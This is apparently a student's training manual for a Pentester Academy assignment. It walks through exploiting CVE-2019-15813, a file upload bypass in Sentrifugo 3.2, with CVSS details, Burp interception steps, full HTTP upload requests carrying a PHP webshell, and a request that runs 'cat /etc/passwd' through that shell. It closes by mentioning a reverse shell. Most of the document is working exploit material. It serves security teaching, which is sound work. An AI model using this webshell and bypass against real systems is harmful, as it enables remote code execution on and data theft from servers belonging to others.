Training manual for exploitation of vulnerability CVE-2019-15813

An assignment for Pentester Academy

- Hrishikesh Padhye

Final year student of Computer Engineering,
Pune Institute of Computer Technology, Pune
Email : hrishikesh.padhye@gmail.com

INDEX

- # What is CVE-2019-15813 ?

  Multiple file upload restriction bypass vulnerabilities in Sentrifugo 3.2 could allow authenticated users to execute arbitrary code via a webshell.
  (source - National Vulnerability Database (NVD))

- # What is Sentrifugo 3.2 ?

  Sentrifugo is a FREE and powerful Human Resource Management System that can be easily configured to meet your organizational needs.
  (Sentrifugo)

- # Details of CVE-2019-15813

CVSS Score	6.5
Confidentiality Impact	Partial (There is considerable informational disclosure.)
Integrity Impact	Partial (Modification of some system files or information is possible, but the attacker does not have control over what can be modified, or the scope of what the attacker can affect is limited.)
Availability Impact	Partial (There is reduced performance or interruptions in resource availability.)
Access Complexity	Low (Specialized access conditions or extenuating circumstances do not exist. Very little knowledge or skill is required to exploit.)
Authentication	Single system (The vulnerability requires an attacker to be logged into the system (such as at a command line or via a desktop session or web interface).)
Gained Access	None
Vulnerability Type(s)	Execute Code Bypass a restriction or similar
CWE ID	94

(Source - CVE Details)

- How to reproduce ?

- Exploiting CVE-2019-15813

File upload bypass locations:

1. /sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)

2. sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)

Steps for PoC :

1. Go to localhost (or where you have hosted Sentrifugo).
2. Login using either of the credentials provided in the ‘HRMS Creds’ file. In this tutorial we shall use Adam Wilson’s credentials.
3. Go to : Self Service >> My Details >> Documents >> add New Document (/sentrifugo/index.php/mydetails/documents)
4. Turn on the interceptor in Burp.
5. Enter the filename as ‘test’ and select the file ‘shell.php.doc’ for upload.
6. Forward the request when necessary.
7. Alter the file upload request as follows :
    - Set filename to ‘shell.php’ instead of ‘shell.php.doc’
    - Change content type to 'application/x-httpd-php'

```
POST /index.php/employeedocs/uploadsave HTTP/1.1
Host: 192.168.43.143
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.143/index.php/mydetails/documents
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------529945602195760954010546402223
Content-Length: 502
Connection: close
Cookie: PHPSESSID=ldudhondisvimg3cmindtrekpd

-----------------------------529945602195760954010546402223
Content-Disposition: form-data; name="myfile"; filename="shell.php.doc"
Content-Type: application/msword

<?php $cmd=$_GET['cmd']; system($cmd);?>

-----------------------------529945602195760954010546402223
Content-Disposition: form-data; name=""

undefined
-----------------------------529945602195760954010546402223
Content-Disposition: form-data; name=""

undefined
-----------------------------529945602195760954010546402223--
```

```
POST /index.php/employeedocs/uploadsave HTTP/1.1
Host: 192.168.43.143
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.143/index.php/mydetails/documents
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------529945602195760954010546402223
Content-Length: 502
Connection: close
Cookie: PHPSESSID=ldudhondisvimg3cmindtrekpd

-----------------------------529945602195760954010546402223
Content-Disposition: form-data; name="myfile"; filename="shell.php"
Content-Type: application/x-httpd-php

<?php $cmd=$_GET['cmd']; system($cmd);?>

-----------------------------529945602195760954010546402223
Content-Disposition: form-data; name=""

undefined
-----------------------------529945602195760954010546402223
Content-Disposition: form-data; name=""

undefined
-----------------------------529945602195760954010546402223--
```

8. Keep the intercept on and note the new file name parameter.
9. Using the new filename get the webshell by visiting :

<host>/public/uploads/employeedocs/<new filename>?cmd=cat /etc/passwd

You can also upload a reverse shell as mentioned in the 'Reverse shell script' file along with a listener on the specified port.